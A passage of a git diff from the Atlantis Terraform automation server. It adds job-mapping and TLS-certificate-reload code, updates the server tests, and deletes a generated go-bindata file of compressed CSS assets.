err = s.IndexTemplate.Execute(w, web_templates.IndexData{ + Locks: lockResults, + PullToJobMapping: preparePullToJobMappings(s), + ApplyLock: applyLockData, + AtlantisVersion: s.AtlantisVersion, + CleanedBasePath: s.AtlantisURL.Path, }) if err != nil { s.Logger.Err(err.Error()) } } +func preparePullToJobMappings(s *Server) []jobs.PullInfoWithJobIDs { + + pullToJobMappings := s.ProjectCmdOutputHandler.GetPullToJobMapping() + + for i := range pullToJobMappings { + for j := range pullToJobMappings[i].JobIDInfos { + jobUrl, _ := s.Router.Get(ProjectJobsViewRouteName).URL("job-id", pullToJobMappings[i].JobIDInfos[j].JobID) + pullToJobMappings[i].JobIDInfos[j].JobIDUrl = jobUrl.String() + pullToJobMappings[i].JobIDInfos[j].TimeFormatted = pullToJobMappings[i].JobIDInfos[j].Time.Format("2006-01-02 15:04:05") + } + + //Sort by date - newest to oldest. + sort.SliceStable(pullToJobMappings[i].JobIDInfos, func(x, y int) bool { + return pullToJobMappings[i].JobIDInfos[x].Time.After(pullToJobMappings[i].JobIDInfos[y].Time) + }) + } + + //Sort by repository, project, path, workspace then date. + sort.SliceStable(pullToJobMappings, func(x, y int) bool { + if pullToJobMappings[x].Pull.RepoFullName != pullToJobMappings[y].Pull.RepoFullName { + return pullToJobMappings[x].Pull.RepoFullName < pullToJobMappings[y].Pull.RepoFullName + } + if pullToJobMappings[x].Pull.ProjectName != pullToJobMappings[y].Pull.ProjectName { + return pullToJobMappings[x].Pull.ProjectName < pullToJobMappings[y].Pull.ProjectName + } + if pullToJobMappings[x].Pull.Path != pullToJobMappings[y].Pull.Path { + return pullToJobMappings[x].Pull.Path < pullToJobMappings[y].Pull.Path + } + return pullToJobMappings[x].Pull.Workspace < pullToJobMappings[y].Pull.Workspace + }) + + return pullToJobMappings +} + +func mkSubDir(parentDir string, subDir string) (string, error) { + fullDir := filepath.Join(parentDir, subDir) + if err := os.MkdirAll(fullDir, 0700); err != nil { + return "", errors.Wrapf(err, "unable to create dir %q", fullDir) + } + + return fullDir, nil +} + // Healthz returns the health check response. It always returns a 200 currently. func (s *Server) Healthz(w http.ResponseWriter, _ *http.Request) { - data, err := json.MarshalIndent(&struct { - Status string `json:"status"` - }{ - Status: "ok", - }, "", " ") + w.Header().Set("Content-Type", "application/json") + w.Write(healthzData) // nolint: errcheck +} + +var healthzData = []byte(`{ + "status": "ok" +}`) + +func (s *Server) GetSSLCertificate(*tls.ClientHelloInfo) (*tls.Certificate, error) { + certStat, err := os.Stat(s.SSLCertFile) if err != nil { - w.WriteHeader(http.StatusInternalServerError) - fmt.Fprintf(w, "Error creating status json response: %s", err) - return + return nil, fmt.Errorf("while getting cert file modification time: %w", err) } - w.Header().Set("Content-Type", "application/json") - w.Write(data) // nolint: errcheck + + keyStat, err := os.Stat(s.SSLKeyFile) + if err != nil { + return nil, fmt.Errorf("while getting key file modification time: %w", err) + } + + if s.SSLCert == nil || certStat.ModTime() != s.CertLastRefreshTime || keyStat.ModTime() != s.KeyLastRefreshTime { + cert, err := tls.LoadX509KeyPair(s.SSLCertFile, s.SSLKeyFile) + if err != nil { + return nil, fmt.Errorf("while loading tls cert: %w", err) + } + + s.SSLCert = &cert + s.CertLastRefreshTime = certStat.ModTime() + s.KeyLastRefreshTime = keyStat.ModTime() + } + return s.SSLCert, nil } // ParseAtlantisURL parses the user-passed atlantis URL to ensure it is valid diff --git a/server/server_test.go b/server/server_test.go index dfd2b870e3..521cb48e4d 100644 --- a/server/server_test.go +++ b/server/server_test.go @@ -15,74 +15,58 @@ package server_test import ( "bytes" + "crypto/tls" "errors" - "io/ioutil" + "io" "net/http" "net/http/httptest" "net/url" - "path/filepath" - "strings" "testing" "time" - "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/events/yaml/valid" - "github.com/gorilla/mux" - . "github.com/petergtz/pegomock" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/cmd" "github.com/runatlantis/atlantis/server" - "github.com/runatlantis/atlantis/server/events/locking/mocks" + "github.com/runatlantis/atlantis/server/controllers/web_templates" + tMocks "github.com/runatlantis/atlantis/server/controllers/web_templates/mocks" + "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events/models" - sMocks "github.com/runatlantis/atlantis/server/mocks" + "github.com/runatlantis/atlantis/server/jobs" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) -func TestNewServer(t *testing.T) { +const ( + testAtlantisVersion = "1.0.0" + testAtlantisUrl = "http://example.com" + testLockingDBType = cmd.DefaultLockingDBType + testGitHubHostName = cmd.DefaultGHHostname + testGitHubUser = "user" +) + +func TestNewServer_GitHubUser(t *testing.T) { t.Log("Run through NewServer constructor") - tmpDir, err := ioutil.TempDir("", "") - Ok(t, err) - _, err = server.NewServer(server.UserConfig{ - DataDir: tmpDir, - AtlantisURL: "http://example.com", - }, server.Config{}) + tmpDir := t.TempDir() + _, err := server.NewServer( + server.UserConfig{ + DataDir: tmpDir, + AtlantisURL: testAtlantisUrl, + LockingDBType: testLockingDBType, + GithubHostname: testGitHubHostName, + GithubUser: testGitHubUser, + }, server.Config{ + AtlantisVersion: testAtlantisVersion, + }, + ) Ok(t, err) } // todo: test what happens if we set different flags. The generated config should be different. -func TestRepoConfig(t *testing.T) { - t.SkipNow() - tmpDir, err := ioutil.TempDir("", "") - Ok(t, err) - - repoYaml := ` -repos: -- id: "https://github.com/runatlantis/atlantis" -` - expConfig := valid.GlobalCfg{ - Repos: []valid.Repo{ - { - ID: "https://github.com/runatlantis/atlantis", - }, - }, - Workflows: map[string]valid.Workflow{}, - } - repoFileLocation := filepath.Join(tmpDir, "repos.yaml") - err = ioutil.WriteFile(repoFileLocation, []byte(repoYaml), 0600) - Ok(t, err) - - s, err := server.NewServer(server.UserConfig{ - DataDir: tmpDir, - RepoConfig: repoFileLocation, - AtlantisURL: "http://example.com", - }, server.Config{}) - Ok(t, err) - Equals(t, expConfig, s.CommandRunner.ProjectCommandBuilder.(*events.DefaultProjectCommandBuilder).GlobalCfg) -} func TestNewServer_InvalidAtlantisURL(t *testing.T) { - tmpDir, err := ioutil.TempDir("", "") - Ok(t, err) - _, err = server.NewServer(server.UserConfig{ + tmpDir := t.TempDir() + _, err := server.NewServer(server.UserConfig{ DataDir: tmpDir, AtlantisURL: "example.com", }, server.Config{ @@ -102,13 +86,14 @@ func TestIndex_LockErr(t *testing.T) { req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() s.Index(w, req) - responseContains(t, w, 503, "Could not retrieve locks: err") + ResponseContains(t, w, 503, "Could not retrieve locks: err") } func TestIndex_Success(t *testing.T) { t.Log("Index should render the index template successfully.") RegisterMockTestingT(t) l := mocks.NewMockLocker() + al := mocks.NewMockApplyLocker() // These are the locks that we expect to be rendered. now := time.Now() locks := map[string]models.ProjectLock{ @@ -123,7 +108,7 @@ func TestIndex_Success(t *testing.T) { }, } When(l.List()).ThenReturn(locks, nil) - it := sMocks.NewMockTemplateWriter() + it := tMocks.NewMockTemplateWriter() r := mux.NewRouter() atlantisVersion := "0.3.1" // Need to create a lock route since the server expects this route to exist. @@ -132,28 +117,37 @@ func TestIndex_Success(t *testing.T) { u, err := url.Parse("https://example.com") Ok(t, err) s := server.Server{ - Locker: l, - IndexTemplate: it, - Router: r, - AtlantisVersion: atlantisVersion, - AtlantisURL: u, + Locker: l, + ApplyLocker: al, + IndexTemplate: it, + Router: r, + AtlantisVersion: atlantisVersion, + AtlantisURL: u, + Logger: logging.NewNoopLogger(t), + ProjectCmdOutputHandler: &jobs.NoopProjectOutputHandler{}, } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() s.Index(w, req) - it.VerifyWasCalledOnce().Execute(w, server.IndexData{ - Locks: []server.LockIndexData{ + it.VerifyWasCalledOnce().Execute(w, web_templates.IndexData{ + ApplyLock: web_templates.ApplyLockData{ + Locked: false, + Time: time.Time{}, + TimeFormatted: "0001-01-01 00:00:00", + }, + Locks: []web_templates.LockIndexData{ { LockPath: "/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault", RepoFullName: "lkysow/atlantis-example", PullNum: 9, Time: now, - TimeFormatted: now.Format("02-01-2006 15:04:05"), + TimeFormatted: now.Format("2006-01-02 15:04:05"), }, }, - AtlantisVersion: atlantisVersion, + PullToJobMapping: []jobs.PullInfoWithJobIDs{}, + AtlantisVersion: atlantisVersion, }) - responseContains(t, w, http.StatusOK, "") + ResponseContains(t, w, http.StatusOK, "") } func TestHealthz(t *testing.T) { @@ -161,15 +155,61 @@ func TestHealthz(t *testing.T) { req, _ := http.NewRequest("GET", "/healthz", bytes.NewBuffer(nil)) w := httptest.NewRecorder() s.Healthz(w, req) - Equals(t, http.StatusOK, w.Result().StatusCode) - body, _ := ioutil.ReadAll(w.Result().Body) - Equals(t, "application/json", w.Result().Header["Content-Type"][0]) + + resp := w.Result() + defer resp.Body.Close() + Equals(t, http.StatusOK, resp.StatusCode) + body, _ := io.ReadAll(resp.Body) + Equals(t, "application/json", resp.Header["Content-Type"][0]) Equals(t, `{ "status": "ok" }`, string(body)) } +type mockRW struct{} + +var _ http.ResponseWriter = mockRW{} +var mh = http.Header{} + +func (w mockRW) WriteHeader(int) {} +func (w mockRW) Write([]byte) (int, error) { return 0, nil } +func (w mockRW) Header() http.Header { return mh } + +var w = mockRW{} +var s = &server.Server{} + +func BenchmarkHealthz(b *testing.B) { + b.ReportAllocs() + for i := 0; i < b.N; i++ { + s.Healthz(w, nil) + } +} + +func TestGetCertificate(t *testing.T) { + s := server.Server{} + clientHelloInfo := &tls.ClientHelloInfo{} + + // Initial certificate load + s.SSLCertFile = "../testdata/cert.pem" + s.SSLKeyFile = "../testdata/key.pem" + cert, err := s.GetSSLCertificate(clientHelloInfo) + Ok(t, err) + + // Certificate reload + s.SSLCertFile = "../testdata/cert2.pem" + s.SSLKeyFile = "../testdata/key2.pem" + s.CertLastRefreshTime = s.CertLastRefreshTime.Add(-1 * time.Second) + s.KeyLastRefreshTime = s.KeyLastRefreshTime.Add(-1 * time.Second) + newCert, err := s.GetSSLCertificate(clientHelloInfo) + + Ok(t, err) + Assert( + t, + !bytes.Equal(bytes.Join(cert.Certificate, nil), bytes.Join(newCert.Certificate, nil)), + "Certificate expected to rotate") +} + func TestParseAtlantisURL(t *testing.T) { cases := []struct { In string @@ -249,11 +289,3 @@ func TestParseAtlantisURL(t *testing.T) { }) } } - -func responseContains(t *testing.T, r *httptest.ResponseRecorder, status int, bodySubstr string) { - t.Helper() - body, err := ioutil.ReadAll(r.Result().Body) - Ok(t, err) - Assert(t, status == r.Result().StatusCode, "exp %d got %d, body: %s", status, r.Result().StatusCode, string(body)) - Assert(t, strings.Contains(string(body), bodySubstr), "exp %q to be contained in %q", bodySubstr, string(body)) -} diff --git a/server/static/bindata_assetfs.go b/server/static/bindata_assetfs.go deleted file mode 100644 index 7c49505b5b..0000000000 --- a/server/static/bindata_assetfs.go +++ /dev/null @@ -1,401 +0,0 @@ -// Code generated for package static by go-bindata DO NOT EDIT. (@generated) -// sources: -// server/static/css/custom.css -// server/static/css/normalize.css -// server/static/css/skeleton.css -// server/static/images/atlantis-icon.png -// server/static/images/atlantis-icon_512.png -// server/static/js/jquery-3.2.1.min.js -// server/static/js/jquery-3.5.1.min.js -package static - -import ( - "github.com/elazarl/go-bindata-assetfs" - "bytes" - "compress/gzip" - "fmt" - "io" - "io/ioutil" - "os" - "path/filepath" - "strings" - "time" -) - -func bindataRead(data []byte, name string) ([]byte, error) { - gz, err := gzip.NewReader(bytes.NewBuffer(data)) - if err != nil { - return nil, fmt.Errorf("Read %q: %v", name, err) - } - - var buf bytes.Buffer - _, err = io.Copy(&buf, gz) - clErr := gz.Close() - - if err != nil { - return nil, fmt.Errorf("Read %q: %v", name, err) - } - if clErr != nil { - return nil, err - } - - return buf.Bytes(), nil -} - -type asset struct { - bytes []byte - info os.FileInfo -} - -type bindataFileInfo struct { - name string - size int64 - mode os.FileMode - modTime time.Time -} - -// Name return file name -func (fi bindataFileInfo) Name() string { - return fi.name -} - -// Size return file size -func (fi bindataFileInfo) Size() int64 { - return fi.size -} - -// Mode return file mode -func (fi bindataFileInfo) Mode() os.FileMode { - return fi.mode -} - -// Mode return file modify time -func (fi bindataFileInfo) ModTime() time.Time { - return fi.modTime -} - -// IsDir return file whether a directory -func (fi bindataFileInfo) IsDir() bool { - return fi.mode&os.ModeDir != 0 -} - -// Sys return file is sys mode -func (fi bindataFileInfo) Sys() interface{} { - return nil -} - -var _staticCssCustomCss = []byte("\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff\xac\x19\x69\x6f\xdb\xc8\xf5\xbb\x7e\xc5\xeb\x06\x0b\xc4\xae\x49\x93\xf2\x11\x9b\x06\x8a\xcd\x1a\x09\xf6\x43\x5b\x14\x6d\xff\xc0\x88\xf3\x28\x4d\x3d\x9c\x21\x66\x46\x96\x94\x40\xff\xbd\x98\x8b\x87\x48\xca\x71\xb0\x0e\x62\x48\xe4\xbb\xef\xf7\x9c\x96\x52\x18\xc2\x04\x2a\xf8\xbe\x00\xa8\xc9\x3e\xd9\x31\x6a\x36\x05\xe4\x59\x96\x35\xfb\x27\x38\x2e\xd2\x0d\x12\xda\x02\xa8\x35\x13\x89\x91\x4d\x01\xcb\xf4\xee\x75\xf3\xb4\x00\x30\xb8\x37\x09\xe1\x6c\x2d\x0a\x28\x51\x18\x54\x16\x8d\xd5\xeb\x74\x83\x4a\x3a\xbc\x0d\xb2\xf5\xc6\x14\xb0\xcc\x3c\x8a\x65\x14\x9f\xe5\x4b\xcb\x68\x01\x10\x38\x93\xad\x91\x4f\x43\x61\x96\xb7\x79\xb3\x5f\x04\x51\x98\x58\x27\x95\x14\x26\xd1\xec\x1b\x3a\xea\xed\xb7\x02\xf2\x74\xa9\xb0\xb6\xe8\xa5\xe4\x52\x15\xf0\xe1\xf1\xf1\xd1\x7e\xe5\x68\x0c\xaa\x44\x37\xa4\x64\x62\x5d\x80\x90\xaa\x26\xdc\xe9\x57\x4a\x8a\x09\xee\x49\xdd\x70\x1c\x69\x99\xa7\x77\x81\x60\x78\xba\x92\xc6\xc8\xba\x80\x6c\x84\x9b\xac\x24\x3d\x38\x02\xbb\x0d\x33\xe8\x78\x61\x01\x8d\x42\xa7\x9d\x54\x34\xd9\x29\xd2\x14\xb0\x52\x48\x5e\x12\xfb\xc0\x92\x10\xe4\x75\x45\xbc\x79\x29\xd3\x0d\x27\x07\x2b\x9d\xc0\x40\x5f\x18\x14\x26\x31\x64\xc5\x31\x09\xea\x8f\x94\xbe\x6d\xf6\x4f\xc7\x85\x69\xf9\xf7\xdf\x2d\xdd\xbb\x94\xd4\x2c\xa1\x68\x08\xe3\xda\x81\x04\xb7\x19\x45\x84\xae\xa4\xaa\x0b\xd8\x36\x0d\xaa\x92\x68\x27\xed\x8c\x51\xc7\x76\xec\xbd\x72\x18\xbb\xe0\xd5\xfb\x2c\x7b\xea\xd8\x84\xe8\xe0\x58\x99\xa7\x45\x94\x86\x18\x32\x23\x8a\x55\x1f\xfe\xc2\xea\x46\x2a\x43\x84\xf9\x53\x04\xca\xad\x40\xc7\x45\xca\x84\x36\x44\x94\x98\x08\x52\x63\x62\x48\xcf\x9a\x15\xa9\x19\x3f\x14\x50\x4b\x21\x9d\xf3\xae\xba\x8f\x4f\xa7\x71\x76\xeb\xd8\x1c\x17\x69\xc3\x49\x89\x1b\xc9\x63\x8e\xbc\x9f\xd4\x49\xc8\xae\x15\x1e\x3a\x18\x73\xe0\x58\x00\x33\x84\xb3\x72\x26\xdb\xac\x14\x5c\xfa\xcc\x60\xf5\x7a\x22\x94\xe6\xf1\x14\xae\x99\x14\x89\x46\x8e\xa5\x71\x98\x53\x80\x00\x15\x97\xc4\x4c\x78\xe6\xb8\xf8\x10\x48\x70\xa6\xcd\x28\x7d\x1e\x6c\x6a\x1f\x17\x8b\xeb\x4b\xf8\x3b\x51\x6b\x54\x60\x36\x44\x40\xb3\xb1\x74\x2e\xaf\x17\xbf\xd5\x48\x19\x81\x8f\x35\x13\x31\xd9\xef\xee\xb2\x66\x7f\xe1\x28\xa5\xaf\x84\x6f\x31\x69\x94\x6c\x62\xd4\xf6\x89\x3f\xb6\x9e\x3e\xc9\xcd\x4f\xf6\x05\x1c\x3b\x0a\xd1\x2a\x23\xc8\xbc\x83\x8c\x59\xbc\x56\x8c\x42\x5a\x4a\xbe\xad\xc5\xd5\xdc\x0b\x3d\x43\xce\x57\x0b\x4f\x90\xca\x52\x27\x1a\x4b\xc3\xa4\x08\xe0\x0d\xa1\xd4\x45\xe9\xbd\xc2\xda\x97\x90\x1e\x03\x8d\x82\x26\x07\xb9\x55\x1a\x79\x95\x94\xb2\x39\x04\xb4\x60\x7c\x65\x23\xf9\x69\x64\x06\x97\xe2\x27\x94\x4a\x85\x28\xf4\x46\x1a\x57\x72\x9a\x10\x9a\x00\x8d\xd4\xcc\xca\x53\x00\x59\x69\xc9\xb7\x26\x64\x7b\xb0\xfd\xed\xc3\xaf\xfe\xfb\xa6\xcb\x9a\x5f\x63\x9e\x55\xc6\x56\xbd\xc0\xbe\xab\xdf\xb1\x56\x8d\xbd\xec\x8a\x96\x99\x71\xf3\xa7\xce\xcd\xd7\x97\xf0\x4f\x5f\x04\x2f\xaf\xad\x16\xa1\x22\xfe\x75\xd2\x84\x2b\xa9\x28\x2a\xab\x79\xa4\x14\xcd\xe8\xd1\xae\xba\x8f\xbe\x02\x47\xd5\xdb\x8c\x58\x71\x59\xbe\x0c\xd4\xee\xb4\x8c\x4a\xdd\xb7\x65\x1f\x60\x45\xca\x97\xb5\x92\x5b\x41\x0b\xf8\x50\x55\x95\x7f\xfa\x2d\x61\x82\xe2\xbe\x00\xdf\x5f\xfa\x82\x15\x90\x37\x7b\xd0\x92\x33\x0a\x1f\x10\x71\xf0\xbe\x0d\x95\x21\x48\x5f\x85\x19\xb9\xa3\xa1\x3b\x0b\xfd\x0d\x4e\x1a\xf8\x50\xa3\x01\xcd\x36\x3d\x01\xec\xc7\x58\x58\x62\x79\x98\xee\x6f\x1d\x3a\x33\x58\x8f\x62\x48\x21\x27\x86\xbd\xc6\x8e\xe1\xa3\xd4\x17\xf9\xb7\x29\x72\x26\x5e\xde\xdf\x8a\x72\x3f\x2b\xcc\x75\x9b\x33\xdd\xc0\x31\xa1\x58\x4a\x45\xbc\xf4\x9d\xea\x9c\x09\x4c\xa6\x5c\x1f\x87\x88\xe5\x72\x39\x16\x3e\x25\xa5\x55\x3e\xe8\x10\x41\x6f\x6e\x9e\x6f\xbe\x46\x55\x37\x44\x27\x54\x96\x2f\x48\x13\x41\x5e\xa1\xdf\xeb\xfb\x76\xac\xd8\x1e\x69\x90\xd2\x86\x4f\x36\x4c\xb9\x73\xb4\xce\xc6\xb8\x43\xbc\xbe\x84\x7f\x63\x22\x5f\x51\x29\xe6\xa6\x07\xb3\x41\x1f\x26\x2e\x4a\x80\x62\xc9\x89\xb7\x09\x18\x09\x35\x31\xe5\x06\xdc\x6c\x25\x2b\xf8\x15\x56\x44\x23\x85\x2e\xcc\x7c\x8a\xce\x28\x36\x1f\x90\x0f\x3e\x1e\xbd\x3c\xff\x92\x8d\x95\x27\xd0\x6a\xfc\xb7\x54\x36\x28\x66\x73\xf5\xd8\x83\x9c\x4c\x8c\xb3\xe5\x6d\xca\xaa\x67\x72\xdb\xa7\xea\xd9\x34\x56\x84\xb2\xad\x2e\xe0\x36\xc6\xa3\xef\x48\xcb\x41\xb5\x4c\xee\x62\x5d\x49\x76\xb8\x7a\x61\x26\xa9\x18\x37\x96\x32\x55\xb2\x49\xf4\x86\x50\xb9\xfb\x98\x41\x06\xf7\xcd\x1e\xd4\x7a\x45\x3e\x66\x57\xf6\x5f\x9a\x5f\x5c\x78\x44\x8b\x5b\xcb\x6f\x3f\x85\xe8\x7e\xde\x83\x38\xb0\xb2\x4b\xf9\xa2\x62\x4a\x9b\xa4\xdc\x30\x4e\xbb\x37\x36\xfa\x0b\x52\x19\xf4\xd5\xf6\x07\x11\x56\x58\x49\x85\x6d\x19\x0f\x65\xf0\xa4\xc1\xb4\x16\x8b\x3e\xf0\xf6\x77\xc5\xa1\x21\x0a\xe3\x34\x18\x06\xe3\x02\x7e\x81\x5f\x86\xa5\x3b\x1b\x94\xf6\xec\x7c\x60\x34\x92\xd9\x09\x27\xc1\x57\x14\x46\x0f\x6a\xec\x7b\xcc\x30\xec\x4d\xa1\x14\x38\xeb\x2e\xef\xee\xae\xa0\xfb\x95\x5d\x4c\x34\x83\x88\x70\x1a\x80\xdd\x2e\x16\x83\x2c\x54\xd4\x10\x5d\x79\xd6\x36\xfe\x9f\x73\xc1\x58\xda\x9b\x87\x2b\xe8\x7e\x9d\x97\xf6\x34\x25\xa2\xb4\xf9\x8c\xb4\xf9\x48\xda\x5e\x4f\x6a\x27\xa3\xac\x8f\xdb\x25\xed\x69\xcb\x1a\xab\xfd\x26\xa1\x53\xde\x6d\xfb\x99\x6b\x68\xfd\xea\x3f\x3b\x42\xb4\xfc\x1e\x9a\x3d\x2c\x5b\x4f\x9d\xef\xf6\x6f\x35\xa4\xf7\xec\x66\xd9\x3b\x16\xb0\x6e\x9e\x9f\x68\x95\xbd\x59\xf8\xc7\xc2\x69\x18\x47\xbd\x8a\xe8\xfe\x67\x23\x93\x3b\x6a\x9c\xbc\x87\x98\xad\x54\x81\xe0\x54\x28\x9e\x4c\x80\x83\x58\xdf\xf4\x5a\xc5\x38\xc1\xfa\x75\x7f\xd0\xb2\xc7\x34\xde\x53\xe3\x1c\xc2\x54\x4d\x38\xc9\x9d\x8e\x65\xb7\xe4\xf7\x97\xa7\x18\x37\x4b\xbf\x3f\xa5\x2e\xfe\x0d\x33\xe1\x42\x31\x1d\xb1\x83\x01\x2c\x22\x69\x43\xcc\x56\xbf\x8d\x15\x96\x8b\x8e\x57\x8d\xda\x90\xba\xf9\x61\xcc\x36\x15\x12\x15\x8e\x3d\x41\xf6\xad\xb0\xd9\x92\x50\xa6\x4b\xa2\x68\xb2\x32\xbe\xcb\x9f\x94\x1f\xa4\x27\x1b\x7f\xe7\xa2\x39\x98\xe3\x22\xd5\x86\xe8\x8d\x1d\x41\x92\x38\x57\xbd\x77\x7d\xb5\x24\x0c\x26\xaf\x0c\x77\xf1\xc8\xc5\x44\x3b\x0c\xde\xdc\x65\x41\x8b\x1a\xb5\x26\x6b\x9c\xb7\x64\x1f\xa6\x94\x14\xbf\x4f\xea\xf0\x61\xf9\xe5\xf9\xf9\x53\xfe\xb4\xe8\x3a\x5c\xef\x51\x04\xfa\xea\x7e\x06\x34\x13\x54\x4a\xaa\x73\x94\xbf\x7c\xba\x7d\xbe\x79\x1e\x50\xee\x1e\x4d\x50\xf6\x7e\xe9\x9f\xe7\xf2\x7b\x9f\x66\xa3\xed\x72\x71\x32\x23\xe7\x0f\xfe\x61\x57\x6c\xdb\x26\x35\x7d\xfe\xe8\x02\xab\xe3\x3a\x0e\x3c\x1b\x26\x4a\xee\xec\xcb\x72\xab\xb4\x15\x98\x62\x45\xb6\xdc\xc4\x23\xc2\x7f\x37\x08\xff\x90\x94\x70\xf8\xd8\x59\xe0\xc2\x0e\x92\x69\xed\x1e\x4f\xee\x4c\xd7\x97\xf0\x07\xa3\x14\x05\xac\x0e\x91\xa2\x1f\x3e\xc7\x53\xb8\x05\xfe\x8f\x21\x07\x60\x02\xdc\x69\x27\x02\xb6\x0b\x5f\xee\x61\x98\x01\x37\x31\x37\x2d\xa5\x10\xfe\xde\x6c\xfe\x7c\x6a\x37\x62\x59\xfa\xe1\x5a\x56\x6e\xf4\x5e\xc9\x7d\xc4\x18\x8c\xa2\xfd\x19\x75\xb0\xc5\x5d\x5f\xc2\xd7\x2d\xe7\x61\x66\x0f\xa8\x83\x05\xbd\x05\xf1\x4f\x23\x8c\xad\x45\x15\x97\xbb\x70\x53\xb5\x50\x5f\x84\xdd\xc9\x41\x97\x4a\x72\x0e\xac\x02\x81\x48\x91\x46\x8c\x89\x9c\x5b\xaf\xfc\x84\x78\xe1\xb9\x10\xce\x2d\x90\x8f\xa7\xb3\x68\x71\xb2\xcc\xd2\x5b\x8f\xfb\x3b\xb7\x88\xbb\x6b\x90\xb6\xe5\x98\x83\xc5\xf6\x5e\xf5\x1e\xfd\xc3\xdf\x99\x5b\x5f\x26\xbd\xc3\xf3\x49\x9f\x8d\x41\x39\x9d\x61\xee\x67\xd0\xc2\xdd\x41\xf6\x69\xc0\xed\x77\x49\x0f\x3d\x5e\xfe\x76\xda\x32\xc9\x1d\x97\x7b\x77\x3b\xed\x70\x9e\x43\xa1\xee\xd0\xfa\xa5\x7b\x7e\x90\x98\x10\xb2\x42\xfb\x6f\x38\xa2\xc4\xcb\xf7\x78\x88\x99\x58\x48\x1e\x1e\x1e\x06\xb1\xd2\x1b\x9c\xf7\x61\xce\x2f\x42\xf3\x7c\x70\xdd\x78\xe0\x92\xe5\xc5\x95\x5f\x01\xec\xc4\x72\xfa\x32\x7f\xbc\x18\x6e\x2d\x44\xb0\xda\xc5\xb0\x3b\x9a\x16\xe0\xbf\xa3\x91\xcd\x1c\x1c\xdd\xc6\xa1\x26\x4b\x6f\xb5\x87\x7a\x8b\xca\x1c\x76\x70\xdb\x67\x4a\xe1\x73\x04\x71\x47\xa5\xc8\xf6\x05\x0f\x95\x22\x35\xea\x1e\xc9\x78\x39\x53\xb2\x86\xef\x2e\xb5\x92\x1b\x9f\x92\x21\xfa\x0a\xc8\x8e\x10\x12\x2f\x40\x64\xbd\x97\xb9\x3b\x68\xfd\xf6\xd3\xa4\xdf\xa2\x9c\xfe\x4f\xb7\x1d\x51\x6f\xcb\x12\xb5\xfe\xc1\xeb\xf1\x70\xfa\xcb\xed\xcc\x36\x7d\xdb\x5d\xa4\x6e\x60\x18\xff\xd5\xe0\xcf\x20\x0f\x47\x58\x2c\x52\x5d\x13\xce\xc7\x7f\x83\xc9\xfc\x69\xdc\x7a\xed\xab\x94\x76\x16\x0a\x57\x01\xed\x2a\xe0\x67\xc3\x89\x30\x4c\xc3\x2b\x2a\x1d\x9c\x59\x79\xb8\x9f\x91\x31\x9e\x78\xa6\x77\xbc\xee\xfa\xb4\x00\x50\xbd\x15\xf1\xe4\xda\x7e\x32\xbc\xe4\xa1\xef\xff\x3f\x00\x00\xff\xff\x58\x81\x41\xf9\x22\x1b\x00\x00") - -func staticCssCustomCssBytes() ([]byte, error) { - return bindataRead( - _staticCssCustomCss, - "static/css/custom.css", - ) -} - -func staticCssCustomCss() (*asset, error) { - bytes, err := staticCssCustomCssBytes() - if err != nil { - return nil, err - } - - info := bindataFileInfo{name: "static/css/custom.css", size: 6946, mode: os.FileMode(420), modTime: time.Unix(1593117323, 0)} - a := &asset{bytes: bytes, info: info} - return a, nil -} - -var _staticCssNormalizeCss = []byte("\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff\xb4\x59\x69\x8f\xdc\x36\xd2\xfe\xae\x5f\x51\x71\x10\xd8\x9e\x57\xdd\xd3\x3d\x8e\x93\xbc\x9a\xcd\x07\x23\xc7\x26\xc8\xe1\x45\xec\xc5\x2e\x60\x0c\x20\x4a\x2c\x75\x73\x87\x22\x05\x92\xea\xe9\xf6\x66\xff\xfb\xa2\x78\xe8\xe8\xd1\x4c\x1c\x60\x9d\x7c\x98\xb6\x44\x56\x15\xeb\x78\xea\x29\xea\xf2\xe2\x13\x50\xda\xb4\x4c\x8a\xf7\xb8\xae\xad\x85\xc3\x8b\xf5\x66\x7d\x05\xbf\xc3\x2f\x3f\xbe\x85\x9f\x45\x8d\xca\x22\xfc\x0e\x3b\xe1\xd6\x42\x5f\x0e\x6b\xe1\xe2\x32\xcb\x2e\x2f\x2e\x32\xb8\x80\xed\x1a\xde\xa0\x03\x8e\x0d\xeb\xa5\x83\x46\x2b\x07\x0d\x6b\x85\x3c\x81\xd3\x60\x99\xb2\x2b\x8b\x46\x34\x6b\x5a\x7c\xb5\x86\xbf\x19\x3c\xa0\x72\x20\x5e\xbf\x01\x87\x47\x07\x96\x04\x32\xfe\xaf\xde\x3a\x60\x8d\x43\x03\xda\x08\x54\x8e\x39\xa1\x15\xd4\x7b\xa6\x76\x98\xc3\x9d\x70\x7b\xdd\x3b\xe0\xc2\xb2\x4a\x0a\xb5\x23\x71\x00\xd0\x5b\x34\xf0\x5e\xeb\x96\xe4\x5f\x66\xd9\xde\xb5\x12\xfe\x9d\x81\x37\x64\x15\x0c\x29\x26\x66\x5c\xc3\xe5\x05\x6c\x69\x29\xc0\xaa\xb5\x2b\x32\x61\x45\x26\xac\x82\x09\x05\x6c\x37\x9b\xcf\xfc\xaa\xab\xb8\xea\x0e\xab\x5b\xe1\xfe\x70\xe5\x7f\x06\x97\xfc\x86\xad\x3e\xe0\xe0\x92\x96\x99\x9d\x50\xd1\xbe\x4a\xf3\x93\xb7\x2f\x3c\x2d\x60\x73\x1d\x76\xc2\x0f\x6f\x7f\xf9\xf9\x25\x9d\xaf\x93\xec\x44\x9b\x85\x12\xe4\x02\x9b\x01\xc0\xd7\xff\xb3\xff\xa6\xb1\xfb\x46\x1b\x83\xb5\x83\xb2\x92\xba\xbe\x2d\x07\xe5\x4a\xbb\x60\x00\x72\x68\xb4\x01\xa6\x4e\xd1\x3c\x94\xd8\xfa\xe8\x29\xf8\xf1\x3b\xf8\xea\xf2\xff\xd7\x7f\x46\x4e\xc9\xd1\x31\x21\x6d\x09\xf4\x0f\xdb\xb7\x2d\x33\xa7\x32\x0a\xdb\x6e\x2e\xb7\x5b\x92\xc6\x14\x87\xef\x85\xc1\x46\x1f\xff\x9c\xf4\